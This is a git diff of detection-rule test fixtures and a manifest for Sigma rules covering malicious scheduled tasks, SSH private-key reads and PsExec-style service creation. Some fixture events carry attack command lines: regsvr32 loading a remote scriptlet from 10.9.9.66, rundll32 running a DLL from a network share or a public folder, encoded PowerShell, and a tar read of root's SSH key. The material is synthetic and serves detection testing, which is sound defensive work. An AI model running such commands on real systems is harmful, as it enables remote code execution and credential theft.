8-letter binary in %systemroot% behind a normal-length service name (proves the impacket branch needs BOTH the path and the 4-letter name), and a Program Files service. shapes from tool source: impacket examples/serviceinstall.py (4-letter random service name, 8-letter random .exe at %systemroot%\ via ADMIN$) and examples/smbexec.py (8-letter random service name, '%COMSPEC% /Q /c' command); Sysinternals PsExec's default PSEXESVC / %SystemRoot%\PSEXESVC.exe. Event 7045 field names as the other System-channel fixtures. Synthetic docker/validation/sigma-fixtures/service_stop_burst_4688.jsonl unverified - @@ -249,7 +253,8 @@ docker/validation/sigma-fixtures/linux_systemd_persist_runtime_tn.jsonl unverifi docker/validation/sigma-fixtures/linux_ssh_authkeys.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_ssh_authkeys_tn.jsonl unverified the allowlisted example key-distribution agent (compiled, exact exe path) writing a user's authorized_keys; replaces a cloud-init line whose exe=/usr/bin/cloud-init auditd never records (cloud-init is Python) docker/validation/sigma-fixtures/linux_ssh_key_read.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a private-key reader renamed to git (comm git, exe /tmp/git) - suppressed by the old comm allowlist -docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a public-key read (cat id_ed25519.pub), which the old name|contains matched. adds (#351) a tar read of ~/identity-service/config.yml, which the bare '/identity' match caught +docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a public-key read (cat id_ed25519.pub), which the old name|contains matched. adds (#351) a tar read of ~/identity-service/config.yml, which the bare '/identity' match caught, and of ~/.ssh/identity-service/config.yml, which a '/.ssh/identity' contains would still catch +docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl unverified same auditd field shape as linux_ssh_key_read.jsonl; one event, a tar read of /root/.ssh/identity, so the legacy endswith selection is proven on its own row (#351) docker/validation/sigma-fixtures/linux_sudo_root_shell.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_sudo_root_shell_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_suid_change.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds two evasions the old basename allowlist suppressed: `install -m 4755` (exe /usr/bin/install) and a chmod copied to /tmp/dpkg @@ -290,7 +295,7 @@ docker/validation/sigma-fixtures/kerberoast_spn_burst_4769_window_tn.jsonl vendo docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662.jsonl vendor-documented 4662 on the LSA SecretObject, AccessMask 0x2, ObjectName Policy\Secrets\G$BCKUPKEY_*: shape from SigmaHQ 4ac1f50b and the OTRF Threat Hunter Playbook capture it was built on; secret names from SharpDPAPI lib/Backup.cs docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662_system.jsonl unverified the backup-key secret read with SYSTEM (S-1-5-18) as the subject: local extraction on the DC from a SYSTEM context (psexec to the DC, then mimikatz lsadump::backupkeys or SharpDPAPI backupkey). Subject SID reasoned from how LSA audits the caller's token, not lab-captured docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662_tn.jsonl vendor-documented near-miss: the same SecretObject read of the machine-account secret ($MACHINE.ACC) by the DC itself -docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl unverified near-miss: a PowerShell maintenance task with -ExecutionPolicy Bypass -File, which none of the short-flag, keyword or atexec shapes match; plus PowerShell tasks passing -Encoding utf8, robocopy /E, and an https://.../encryption/ URL, which the open-ended -enco, /e and /enc entries used to match; and a deploy script called with its own -e production argument, which a bare -e flag without a base64 payload would match; and a cmd task running robocopy /E %OPTS% before a PowerShell script, which a variable arm open to the / switch would match; and a PowerShell task whose Description is a 10,000-character run of quotes with no flag, which must stay silent (and fast); and (#351) a rundll32 display-calibration task and a regsvr32 /s of a Program Files DLL, both carrying the real root, which the bare LOLBin names used to match and which pins the bare-'http' collapse +docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl unverified near-miss: a PowerShell maintenance task with -ExecutionPolicy Bypass -File, which none of the short-flag, keyword or atexec shapes match; plus PowerShell tasks passing -Encoding utf8, robocopy /E, and an https://.../encryption/ URL, which the open-ended -enco, /e and /enc entries used to match; and a deploy script called with its own -e production argument, which a bare -e flag without a base64 payload would match; and a cmd task running robocopy /E %OPTS% before a PowerShell script, which a variable arm open to the / switch would match; and a PowerShell task whose Description is a 10,000-character run of quotes with no flag, which must stay silent (and fast) docker/validation/sigma-fixtures/rdp_hijack_4688_tn.jsonl unverified near-miss: a user running tscon for their own session from explorer, not as SYSTEM docker/validation/sigma-fixtures/service_windows_root_7045.jsonl vendor-documented service binaries directly in %SystemRoot%: Sysinternals psexec -r (installs %SystemRoot%\.exe) and impacket psexec.py -service-name/-remote-binary-name; 7045 envelope matches service_psexec_7045.jsonl docker/validation/sigma-fixtures/service_windows_root_7045_tn.jsonl unverified the allowlisted example vendor binary at %systemroot%\vupdater.exe, and an ordinary svchost service under System32 diff --git a/docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl b/docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl new file mode 100644 index 00000000..80c63ec9 --- /dev/null +++ b/docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl @@ -0,0 +1 @@ +{"key": "ssh_key_read", "comm": "tar", "exe": "/usr/bin/tar", "name": "/root/.ssh/identity", "auid": "1000", "uid": "0"} diff --git a/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl b/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl index 080f82e2..83da6c85 100644 --- a/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl +++ b/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl @@ -1,3 +1,4 @@ {"key": "ssh_key_read", "comm": "ssh", "exe": "/usr/bin/ssh", "name": "/home/dev/.ssh/id_ed25519", "auid": "1000", "uid": "1000"} {"key": "ssh_key_read", "comm": "cat", "exe": "/usr/bin/cat", "name": "/home/dev/.ssh/id_ed25519.pub", "auid": "1000", "uid": "1000"} {"key": "ssh_key_read", "comm": "tar", "exe": "/usr/bin/tar", "name": "/home/dev/identity-service/config.yml", "auid": "1000", "uid": "1000"} +{"key": "ssh_key_read", "comm": "tar", "exe": "/usr/bin/tar", "name": "/home/dev/.ssh/identity-service/config.yml", "auid": "1000", "uid": "1000"} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl index 29e078b9..96bc80ae 100644 --- a/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl +++ b/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl @@ -19,6 +19,3 @@ {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV06"}, "EventData": {"TaskName": "\\QuoteInFlag", "TaskContent": "powershell.exe-nop -"e"c SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV07"}, "EventData": {"TaskName": "\\SlashVar", "TaskContent": "cmd.exe/v:on /c set p=SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA&& powershell -nop /ec !p!"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV07"}, "EventData": {"TaskName": "\\PaddedCaret", "TaskContent": "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\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Users\\Public\\Libraries\\up.dll,Run"}}} -{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\SctLoader", "TaskContent": "regsvr32/s /n /u /i:http://10.9.9.66/a.sct scrobj.dll"}}} -{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\ShareLoad", "TaskContent": "rundll32.exe\\\\10.9.9.66\\share\\up.dll,Run"}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl new file mode 100644 index 00000000..c0857620 --- /dev/null +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl @@ -0,0 +1 @@ +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\SctLoader", "TaskContent": "regsvr32/s /n /u /i:http://10.9.9.66/a.sct scrobj.dll"}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl new file mode 100644 index 00000000..bf33aa5e --- /dev/null +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl @@ -0,0 +1,2 @@ +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\DisplayCal", "TaskContent": "rundll32.exeC:\\Windows\\System32\\shell32.dll,Control_RunDLL desk.cpl"}}} +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\VendorCom", "TaskContent": "regsvr32.exe/s "C:\\Program Files\\Vendor\\bridge.dll""}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl new file mode 100644 index 00000000..469891e5 --- /dev/null +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl @@ -0,0 +1 @@ +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\ShareLoad", "TaskContent": "rundll32.exe\\\\10.9.9.66\\share\\up.dll,Run"}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl new file mode 100644 index 00000000..ce102e7c --- /dev/null +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl @@ -0,0 +1 @@ +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\DriverHelper", "TaskContent": "rundll32.exeC:\\Users\\Public\\Libraries\\up.dll,Run"}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl index 983e866e..a0031274 100644 --- a/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl @@ -5,5 +5,3 @@ {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\DeployApp", "TaskContent": "powershell.exe-NoProfile -File C:\\Scripts\\deploy.ps1 -e production"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\MirrorShare", "TaskContent": "cmd.exe/c robocopy %SRC% %DST% /E %OPTS% & powershell -NoProfile -File C:\\Scripts\\notify.ps1"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\PaddedNoFlag", "TaskContent": "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"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\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"powershell.exe-NoProfile -File C:\\Scripts\\report.ps1"}}} -{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\DisplayCal", "TaskContent": "rundll32.exeC:\\Windows\\System32\\shell32.dll,Control_RunDLL desk.cpl"}}} -{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\VendorCom", "TaskContent": "regsvr32.exe/s "C:\\Program Files\\Vendor\\bridge.dll""}}} diff --git a/docker/validation/sigma-manifest.tsv b/docker/validation/sigma-manifest.tsv index f5f4fdf6..5f6c07c2 100644 --- a/docker/validation/sigma-manifest.tsv +++ b/docker/validation/sigma-manifest.tsv @@ -53,6 +53,9 @@ srvsvc-epmapper-pipe-impersonation-17 sysmon docker/validation/sigma-fixtures/sr rbcd-5136 windows-audit docker/validation/sigma-fixtures/rbcd_5136.jsonl detections/sigma/privilege_escalation/rbcd_allowedtoact_5136.yml 275d5b31-41ce-4777-989d-b1eb016e09c5 docker/validation/sigma-fixtures/rbcd_5136_tn.jsonl shadow-creds-5136 windows-audit docker/validation/sigma-fixtures/shadow_credentials_5136.jsonl detections/sigma/privilege_escalation/shadow_credentials_keycredentiallink_5136.yml 97ee214e-8e8a-4bee-bb1e-88ae6a40d782 docker/validation/sigma-fixtures/shadow_credentials_5136_tn.jsonl scheduled-task-4698 windows-audit docker/validation/sigma-fixtures/scheduled_task_4698.jsonl detections/sigma/persistence/scheduled_task_suspicious_4698.yml 8ae44ad2-6331-4444-97f4-b2eac893717c docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl +scheduled-task-4698-lolbin-userdir windows-audit docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl detections/sigma/persistence/scheduled_task_suspicious_4698.yml 8ae44ad2-6331-4444-97f4-b2eac893717c docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl +scheduled-task-4698-lolbin-scriptlet windows-audit docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl detections/sigma/persistence/scheduled_task_suspicious_4698.yml 8ae44ad2-6331-4444-97f4-b2eac893717c docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl +scheduled-task-4698-lolbin-unc windows-audit docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl detections/sigma/persistence/scheduled_task_suspicious_4698.yml 8ae44ad2-6331-4444-97f4-b2eac893717c docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl service-psexec-7045 windows-audit docker/validation/sigma-fixtures/service_psexec_7045.jsonl detections/sigma/lateral_movement/service_creation_psexec_7045.yml fd22807d-bdb8-44b8-81f4-8d44c8be24b4 docker/validation/sigma-fixtures/service_psexec_7045_tn.jsonl svcctl-atsvc-remote-pipe-18 sysmon docker/validation/sigma-fixtures/svcctl_atsvc_pipe_18_tp.jsonl detections/sigma/lateral_movement/svcctl_atsvc_remote_pipe_sysmon_18.yml e9d70412-5340-436c-9917-b3664f5d77a7 docker/validation/sigma-fixtures/svcctl_atsvc_pipe_18_tn.jsonl ntds-dump-4688 sysmon docker/validation/sigma-fixtures/ntds_dump_4688.jsonl detections/sigma/credential_access/ntds_dump_ntdsutil_vss_4688.yml 3e5d07b8-2e1b-4145-9f6a-ee29d7cd470f - @@ -144,6 +147,7 @@ linux-systemd-persist-systemctl-edit none docker/validation/sigma-fixtures/linux linux-systemd-persist-runtime-generated none docker/validation/sigma-fixtures/linux_systemd_persist_systemctl_edit_tp.jsonl detections/sigma/linux/systemd_unit_persistence.yml 8e08fc2f-6c32-444b-a352-e0a687862ee7 docker/validation/sigma-fixtures/linux_systemd_persist_runtime_tn.jsonl linux-ssh-authkeys none docker/validation/sigma-fixtures/linux_ssh_authkeys.jsonl detections/sigma/linux/ssh_authorized_keys_write.yml 89f74827-e10c-45cf-99dc-cc786a2e33e5 docker/validation/sigma-fixtures/linux_ssh_authkeys_tn.jsonl linux-ssh-key-read none docker/validation/sigma-fixtures/linux_ssh_key_read.jsonl detections/sigma/linux/ssh_private_key_read.yml 235ce210-e121-4374-8a27-a4b9fd833d9c docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl +linux-ssh-key-read-legacy none docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl detections/sigma/linux/ssh_private_key_read.yml 235ce210-e121-4374-8a27-a4b9fd833d9c docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl linux-sudo-root-shell none docker/validation/sigma-fixtures/linux_sudo_root_shell.jsonl detections/sigma/linux/sudo_root_shell.yml d40c23b6-bb29-4982-b82e-71d1ed745e05 docker/validation/sigma-fixtures/linux_sudo_root_shell_tn.jsonl linux-suid-change none docker/validation/sigma-fixtures/linux_suid_change.jsonl detections/sigma/linux/suid_bit_set.yml 40ea5710-462f-42b0-84bd-17da606c65ef docker/validation/sigma-fixtures/linux_suid_change_tn.jsonl linux-shadow-read none docker/validation/sigma-fixtures/linux_shadow_read.jsonl detections/sigma/linux/shadow_file_read.yml aa667b5b-a7e1-49de-bfd7-6ff3d6daeb12 docker/validation/sigma-fixtures/linux_shadow_read_tn.jsonl